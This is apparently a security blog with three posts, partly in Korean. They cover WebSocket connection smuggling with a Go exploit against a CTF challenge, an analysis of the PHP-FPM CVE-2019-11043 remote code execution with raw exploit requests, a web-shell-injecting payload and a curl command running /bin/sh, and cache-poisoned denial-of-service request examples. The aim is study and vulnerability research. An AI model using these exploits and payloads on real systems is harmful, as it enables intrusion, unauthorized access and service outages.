10/31/2019

WebSocket Connection Smuggling

Today i’m going to talk about WebSocket Connection Smuggling.
It was announced at the Hacktivity 2019 conference, and it was kind of amazing, so I tested it a few times and it looked like a real problem.

오늘은 WebSocket Connection Smuggling에 대한 이야기를 할까 합니다.
Hacktivity 2019 컨퍼런스에서 발표된 내용이고, 신기한거 같아서 몇번 테스트해보니 실제 케이스에서 발생할 수 있는 문제로 보이네요..
(저 멀리 헝가리에서 하는 컨퍼런스라 가본적도 없고한데, 볼만한 내용들이 좀 있네요!)


What is Vulnerable?

Socket’s protocol’s first you need to know. The WebSocket is connected after the handshake process as shown below.
Usually, hackers will mainly analyze actions after CSWSH attacks or unencrypted communications (ws://) connections.

But, 0ang3el found Protocol by itself and the problem of this connection. it is smuggling is possible.

우선 웹 소켓의 통신 절차부터 봐야합니다. 초기 핸드쉐이크 과정 이후 WebSocket Connection을 맺는 순서로 동작합니다. 보통은 Origin 관련 부분인 CSWSH 취약점이나 ws:// 사용 여부, 이후 커넥션 중 발생할 수 있는 여러 보안적인 이슈를 분석하는데요. 0ang3el은 커넥션 자체 과정에서 문제를 발견헀습니다.



Error response 426 occurs when the HTTP Upgrade Request of invalid in Secret-WebSocket-Version header.

What’s interesting is that the client and Web socket server have TLS Connection, which does not use Web socket communication. This means that you have a tunnel that can handle HTTP requests, and if the user sending the HTTP request format without close the connection, the Back-End socket server in processes it and forwards it to the user.
This allows an attacker to invoke unauthorized APIs.

웹소켓의 시작인 HTTP Upgrade Request가 전송될 때 Sec-WebSocket-Version 헤더 등에 잘못된 값이 포함된 경우 에러 응답인 426이 발생합니다. 재미있는 점은 이 때 클라이언트와 웹 소켓 서버는 TLS Connection이 맺어지고 이는 웹 소켓 통신을 사용하지 않습니다.

즉 HTTP 요청을 처리할 수 있는 터널이 생긴거고, 사용자가 Connection close를 하지 않고 바로 HTTP 요청을 전달하면, Back-End에 있는 소켓 서버가 이를 처리하여 사용자에게 전달해줍니다.
(G/W 방식이던, Front-End가 별개로 있던 동일합니다)



이로인해 공격자는 허가되지 않은 API를 호출할 수 있게 됩니다.

Let’s test!

Lucky!! “0ang3el” built a test environment.
“0ang3el”가 테스트 환경을 구축해두었습니다.

https://challenge.0ang3el.tk/websocket.html

FE
- Reverse Proxy
- Socketio.js
- Only Access /socket.io/
BE
- localhost:5000 only

Back-end is not accessible directly.
Back-End는 직접 접근이 불가능합니다.

$ nc challenge.0ang3el.tk 5000 -v
Warning: Inverse name lookup failed for `157.245.130.48'
challenge.0ang3el.tk [157.245.130.48] 5000 (commplex-main): Connection refused

But, you can access the Back-End Server through WebSocket Connection Smuggling on the code below.
간단하게 코드짜서 테스트해보면.. 가능합니다 :)

$ go run smugws.go
2019/10/30 18:20:09 HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Date: Wed, 30 Oct 2019 09:20:09 GMT
{"flag": "In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!"}
gth: 119
Date: Wed, 30 Oct 2019 09:20:09 GMT
    �0{"pingInterval":25000,"pingTimeout":60000,"upgrades":["websocket"],"sid":"cff0caad2bbc48d48ce6ffd3ed444ff4"}�40

Code(https://github.com/hahwul/websocket-connection-smuggling-go)
package main
import (
    "log"
    "net"
    "io"
)
func main() {
    conn, err := net.Dial("tcp", "challenge.0ang3el.tk:80")
    if nil != err {
        log.Fatalf("failed to connect to server")
    }
    req1 := "GET /socket.io/?transport-websocket HTTP/1.1\r\nHost: localhost:80\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\n\r\n"
    req2 := "GET /flag HTTP/1.1\r\nHost: localhost:5000\r\n\r\n"
    recvBuf := make([]byte, 4096)
    conn.Write([]byte(req1))
    conn.Read(recvBuf)
    conn.Write([]byte(req2))
    conn.Read(recvBuf)
    log.Printf("%s",recvBuf)
    if nil != err {
        if io.EOF == err {
            log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
            return
        }
        log.Printf("fail to receive data; err: %v", err)
        return
    }
    conn.Close()
}




If you catch it as a request/response through proxy, you don’t see special response, but look at the data of the socket stream, the result received.

proxychains 를 통해 프록시로 잡아서 보면, Response에는 데이터가 잡히지 않지만 실제 소켓의 바이너리를 보면 스머글링된 결과를 사용자에게 보내줍니다.

proxychains4 ./websocket-connection-smuggling-go
[proxychains] config file found: /usr/local/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.14/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:8080  ...  challenge.0ang3el.tk:80  ...  OK


found!

Conclusion

In addition to the above cases, many cases are expec.

이외에도… 여러 케이스가 존재합니다.. status만 체크하는 경우 에도 가능하고, 에러 connetion을 맺을 수 있는 여러 방법이 있을 것 같습니다..
요즘 느끼는건, 예전과 다르게 웹 공격 방식이 엄청 빠르고 독특하게 변화하는 것 같습니다. 공부할건 산더미라 새로운 걸 발견하기 이전에 새로운 기법들을 따라가기도 바쁜 느낌입니다.

Thank you :)

Reference

https://speakerdeck.com/0ang3el/whats-wrong-with-websocket-apis-unveiling-vulnerabilities-in-websocket-apis
https://en.wikipedia.org/wiki/WebSocket
Share: | Coffee Me:

10/28/2019

PHP7 UnderFlow RCE Vulnerabliity(CVE-2019-11043) 간단 분석

일주일전에 PHP FPM 취약점 관련 내용 및 PoC가 공개되었습니다. RCE가 가능하고, PoC가 워낙 잘 나온 케이스라 아마 대다수가 긴급으로 대응하지 않았을까 싶습니다.

해당 취약점을 정확하게 이해한건 아닙니다.. 현재까지 이해한 수준에서 글로 작성해봅니다....... @_@


Impact & Solution

7.3.11, 7.2.24 미만 버전에서 RCE가 가능합니다. 패치가 최선의 방법이고, 어려울 시 Nginx conf 수정을 통해 임의 대응이 가능합니다.

What is it?

php 소스코드 중 sapi/fpm/fpm/fpm_main.c 부분 중 1140번줄에는 이런 구문이 있습니다.

if (apache_was_here) {
                                /* recall that PATH_INFO won't exist */
                                path_info = script_path_translated + ptlen;
                                tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
                            } else {
                                path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
                                tflag = path_info && (orig_path_info != path_info);
                            }

이 중 path_info에 env_path_info의 산술 연산된 값을 넣는 부분이 있는데, 연산된 값에 대한 검증이 없어서 잘못된 값이 들어갈 수 있다는 버그가 있습니다. 이로인해, path_info 변수에는 잘못된 포인트가 들어갈 수 있습니다.

nginx 구성 중 fastcgi_split_path_info로 요청온 URL을 분리해서, 처리하는 구문을 사용하는 곳들이 있는데, 이 때 개행문자(%0a)를 통해 정규표현식을 넘어갈 수 있습니다.

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

그래서 결국 fastcgi 파라미터인 PATH_INFO에 $fastcgi_path_info를 넣는 과정에서 빈값을 넘길 수 있게 됩니다.

fastcgi_param PATH_INFO $fastcgi_path_info;



이로인해 정상 경로가 있는 것으로 판단하여 FGCI_PUTENV 가 호출되는 로직을 타게됩니다.

if (orig_path_info) {
                                    char old;

                                    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
                                    old = path_info[0];
                                    path_info[0] = 0;
                                    if (!orig_script_name ||
                                        strcmp(orig_script_name, env_path_info) != 0) {
                                        if (orig_script_name) {
                                            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
                                        }
                                        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
                                    } else {
                                        SG(request_info).request_uri = orig_script_name;
                                    }
                                    path_info[0] = old;

공격자가 URL과 쿼리 문자열 길이를 정확하게 맞추면, PATH_INFO를 _fcgi_data_seg의 첫번째 바이트(*pos)로 지정할 수 있고, pos에 0이 들어가면, Underflow가 발생한다고 합니다. (여긴 솔직히 이해가 잘 안가욥..)

typedef struct _fcgi_data_seg {
    char                  *pos;
    char                  *end;
    struct _fcgi_data_seg *next;
    char                   data[1];
} fcgi_data_seg;

아무튼 이 underflow로 인해 fastcgi param 값의 일부를 script path로 덮어쓸 수 있고, 이를 통해 페이크 fastcgi 변수를 만들고, 궁극적으론 체인을 이용하여 코드를 실행할 수 있다고 합니다.
언더 플로우를 찾은것도 대단한데, 트리거 경로를 뽑아낸게 참 신기하네요..
(제가 틀리는 부분이 많이 있을테니, 잘못된건 댓글로 꼭 부탁드려요.)

마지막으로 preconditions를 이렇게 이야기했지만, 개인적인 테스트에선 2번은 상관없었습니다. 다만 이 부분이 핵심적인 부분인데.. 좀 애매하네요.
(솔직히 왜 되는지도 모르겠음)

1. Nginx + php-fpm, location ~ [^/]\.php(/|$) must be forwarded to php-fpm (maybe the regexp can be stricter, see #1).

2. The fastcgi_split_path_info directive must be there and contain a regexp starting with ^ and ending with $, so we can break it with a newline character.

3. There must be a PATH_INFO variable assignment via statement fastcgi_param PATH_INFO $fastcgi_path_info;. At first, we thought it is always present in the fastcgi_params file, but it's not true.

4. No file existence checks like try_files $uri =404 or if (-f $uri). If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch.

5. This exploit works only for PHP 7+, but the bug itself is present in earlier versions (see below).

테스팅 환경

다행히 취약 DockerFile가 있어서 편하게 테스트했습니다.
$ git clone https://github.com/neex/phuip-fpizdam
$ cd reproducer

# docker build & run
$ docker build -t test1142 . ; docker run --rm -ti -p 9556:80 test1142

이후 9556 포트로 취약 서버 동작

테스팅

Pre-set

아까 클론한 phuip-fpizdam로 진입해서 go 코드를 빌드합시다.
(의존성 걸리니 go.sum 등은 지워주시고 하는게 걸리적거리지 않습니다.)

$ cd phuip-fpizdam
$ rm -rf go.mod go.sum
$ go build
./phuip-fpizdam

PoC는 간단합니다.

./phuip-fpizdam http://localhost:9556/script.php

Flow

우선 공격코드를 실행하면 타겟을 대상으로 다수의 요청이 발생합니다. 아까 위에서 이야기한 공격자가 길이를 잘 맞추면 _fcgi_data_seg 의 첫번째 바이트를 지정한다고 했었는데, 그 부분입니다. 아래 코드를 보시믄 %0a로 정규식을 통과하고 다량의 스트링을 이용해서 하나씩 길이를 찾습니다.

GET /script.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost.hahwul.com:9556
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
Connection: close


HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 28 Oct 2019 21:43:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.33dev
Content-Length: 0

보통의 경우 200 OK가 발생하지만, 문제의 지점이 확인되면 500에러가 발생합니다.

GET /script.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost.hahwul.com:9556
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
Connection: close

HTTP/1.1 502 Bad Gateway
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 28 Oct 2019 21:43:45 GMT
Content-Type: text/html
Content-Length: 182
Connection: close

<html>
<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>

이 때 공격코드에선 qsl 번호(아까 말한 정확한 숫자값..)을 candidate를 추가합니다.

2019/10/28 18:43:45 Status code 502 for qsl=1765, adding as a candidate

이 순간 실제 서버는.. 에러가 발생합니다.

[28-Oct-2019 09:43:56] WARNING: [pool www] child 13 said into stderr: "free(): invalid size"
[28-Oct-2019 09:43:56] WARNING: [pool www] child 13 exited on signal 6 (SIGABRT) after 697.676326 seconds from start

다시 엄청난 반복 요청이 실행되고, 길이를 맞출 크키(offset?)을 찾습니다.

2019/10/28 18:43:47 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]

그리고 최종적으로 공격코드which which 가 포함된 요청을 던지고, 서버는 이를 실행하게 됩니다.

[ Request ]
GET /script.php/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost.hahwul.com:9556
User-Agent: Mozilla/5.0
D-Pisos: 8============================================================================================================================================================================================D
Ebut: mamku tvoyu
Connection: close


[ Response ]
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 28 Oct 2019 21:44:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.33dev
Content-Length: 562

[28-Oct-2019 21:44:04 UTC] PHP Warning:  Unknown: failed to open stream: No such file or directory in Unknown on line 0
[28-Oct-2019 21:44:04 UTC] PHP Fatal error:  Unknown: Failed opening required 'a' (include_path='/tmp') in Unknown on line 0
[28-Oct-2019 21:44:05 UTC] PHP Warning:  Unknown: failed to open stream: No such file or directory in Unknown on line 0
[28-Oct-2019 21:44:05 UTC] PHP Warning:  Unknown: Unable to load dynamic library '/usr/bin/which
' - /usr/bin/which
: cannot open shared object file: No such file or directory in Unknown on line 0

--skip-attack 옵션 시 여기까지 테스트를 진행해서 검증만하고, 공격쿼리까지 던지게 되면 a 파리미터로 외부 커맨드를 받을 수 있게 공격코드를 주입합니다.

실제로 실행되는지?

$ docker ps
$ docker exec -it 8ad37a46f17d /bin/bash
root@8ad37a46f17d:/ mkdir /111; chmod 777 111
root@8ad37a46f17d:/ cd 111

공격코드를 트리거한 상태에서 아래 요청을 던지면..

$ curl http://localhost:9556/script.php\?a\=/bin/sh+-c+%27touch+/111/aa%27
파일이 생겼습니다.

root@8ad37a46f17d:/111# ll
total 8
drwxrwxrwx 2 root     root     4096 Oct 28 22:02 ./
drwxr-xr-x 1 root     root     4096 Oct 28 22:02 ../
-rw-r--r-- 1 www-data www-data    0 Oct 28 22:03 aa

Conclusion

아 이 글도, 엄청나게 많은 수정이 일어날 것 같습니다. 솔직히 취약점을 찾은 것도 대단하지만 PoC 코드를 구성한게 대박입니다. 아직 언더플로우쪽이랑 qsl 부분이 헷갈리긴한데요, 이해되는대로 내용 수정하도록 하겠습니다.

주력 언어를 Ruby에서 Golang으로 바꾸는 중인데, go로된 PoC를 만나니 새삼 또 공부하게 되는 것 같네요..

Reference

https://www.tenable.com/blog/cve-2019-11043-vulnerability-in-php-fpm-could-lead-to-remote-code-execution-on-nginx
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11043
https://bugs.php.net/bug.php?id=78599
Share: | Coffee Me:

10/26/2019

CPDoS(Cache Poisoned Denial of Service) Attack for Korean

최근에 CPDos에 대한 이야기가 핫합니다. HTTP Desync Attack 때 이미 경험했던 부분이지만, 여러모로 이슈화 되다보니 일적으로나 개인적으로나 테스트를 좀(강제로..) 해보게 되었네요.

아무튼 오늘은 CPDoS에 대해서 간략하게 글로 남겨두려고 합니다.
(알비노왁스가 페이팔에 이 취약점으로 제보했었는데, 관련 write-up 작성한다고 하니 올라오면 꼭 봐보시길 바래요!)



What is CPDoS?

웹 캐시 포이즈닝을 이용한 DoS 취약점으로 CDN 등에 존재하는 웹 리소스를 깨진 데이터로 캐싱시켜 다수의 사용자에게 서비스를 사용하지 못하도록 하는 공격 방법입니다.
보통 캐시 포이즈닝이나, 디싱크 어택 관련해서 테스트하다보면 이런 케이스가 있었는데, 이슈화 되고 이걸 취약점으로 인정해줄지는 몰랐었네요..

아무튼 알비노왁스는 이걸가지고 9600$를 받았으니 본격적으로 노려볼만 합니다.
(저정도 금액은 페이팔이여서 준 것 같고, 다른 버그바운티 서비스는 별로 안줄 느낌이긴 합니다)


Web Cache Poisoning?

이전에 쓴 블로그 글이 하나 있습니다. 참고하시면 좋을 것 같고 간략하게 요약해서 작성해봅니다.
CDN등 리소스를 처리하는 서버들은 효율성을 위해서 이미지나 자바스크립트 등을 캐시하고 본인의 서버에 가지고 있다가 사용자에게 빠르게 넘겨줍니다.

특정 헤더나 파라미터 값들을 이용해서 잘못된 데이터를 캐시 시키고, 이를 이용해서 XSS나 다른 취약점을 트리거 시키는데 사용될 수 있죠.

CPDoS1 - HHO(HTTP Header Oversize)

첫번째는 헤더를 Overwirte하는 방법입니다. 캐시되는 과정에서 일부 헤더를 통해서 의도하지 않은 액션을 유도할 수 있는데, 이런 방법 중 헤더가 아주 많은 경우에 에러가 발생하게 됩니다.
보통 Burp suite의 Param Minor 으로 디싱크 어택 테스트할 때 flow 등으로 이력을 보면 보이는데, 헤더가 큰 경우 400에러가 발생합니다.

[ request ]
GET /js/jquery.js
Host: teststestse
HAHWUL_TEST12: 1111
HAHWUL_TEST13: 1111
HAHWUL_TEST14: 1111
HAHWUL_TEST15: 1111
HAHWUL_TEST16: 1111
HAHWUL_TEST17: 1111
HAHWUL_TEST18: 1111
HAHWUL_TEST19: 1111
HAHWUL_TEST111: 1111
HAHWUL_TEST112: 1111
HAHWUL_TEST113: 1111
HAHWUL_TEST114: 1111
HAHWUL_TEST115: 1111
HAHWUL_TEST116: 1111
HAHWUL_TEST117: 1111
HAHWUL_TEST1118: 1111
HAHWUL_TEST119: 1111
HAHWUL_TEST122: 1111
HAHWUL_TEST123: 1111
HAHWUL_TEST124: 1111
HAHWUL_TEST125: 1111
HAHWUL_TEST126: 1111
HAHWUL_TEST127: 1111

[ response ]
400 Error

일반적인 환경에선 별 영향없는 부분이지만, 일부 캐시 서버는 이 400에러를 캐싱합니다. 그러다보니 비슷한 지역군에 있는 사람들은 캐시된 결과를 리턴받게 되고 400에러 값을 받아서 서비스에 지장이 생기게 됩니다.

단순한 예로, jquery.js 파일이 400으로 떨어지기만 해도, 보통의 웹 사이트의 대다수 기능은 작동하지 않게 됩니다. 이런 방식을 HHO라고 합니다.

CPDoS2 - HMC(HTTP Meta Character)

두번째는 캐리지 리턴을 이용한 방법입니다. 간혹 헤더 중 캐리지 리턴 같은 메타 문자로 인해 잘못된 캐시가 발생하게 됩니다. 결국은 이런 경우 사용자에게 에러가 포함된 Response가 떨어지게 되고, 결국 서비스에 지장이 생기게 됩니다.

대표적인 문자로는.. \n \r \a \t 등이 있습니다. 이건 저런 종류 이외에도 훨씬 많으니 참고하시길 바랍니닷.

CPDoS3 - HMO(HTTP Method Override)

마지막으로 HMO입니다. 이 방법은 X-HTTP-Method-Override 헤더를 이용한 방법입니다. 간혹 디싱크에서 유용한 헤더인데, 이름에서 바로 알 수 있듯이 요청의 헤더를 오버라이딩하는 헤더입니다. 이 헤더를 처리하게 되면 백엔드 서버가 요청을 전송할 때 강제로 헤더를 변경해서 전송하게 됩니다.

결국은 공격자가 이 헤더를 통해 캐시 서버가 GET을 통해 데이터를 가져오지 않고 POST를 요청시키게 되면 잘못된 데이터(이상하거나, 에러거나)를 캐시하게 되고 결국 사용자에게 영향이 발생하게 됩니다.
예를들면, 이런 케이스이죠.

[ request ]
GET /js/jquery.js
Host: teststestse
X-HTTP-Method-Override: POST

[ back-end req ]
POST /js/jquery.js
cached response
400, 405, 500, Etc error..

이후 일반 사용자들은..
<script src="~~~/js/jquery.js"></script>
=>

[ response ]
400 Error

로 인해 서비스에 영향이 발생합니다.

Vulnerable Common Service?

HTTP ImplementationCacheApache HTTPDApache TSNginxSquidVarnishAkamaiAzureCDN77CDNSunCloudflareCloudFronFastlyG-Core LabsKeyCDNStackPath
Apache HTTPD + (ModSecurity)HHO, HMC
Apache TS
Nginx + (ModSecurity)HHO
IIS(HHO)(HHO)(HHO)(HHO)HHO, HMC(HHO)
TomcatHHO
Squid
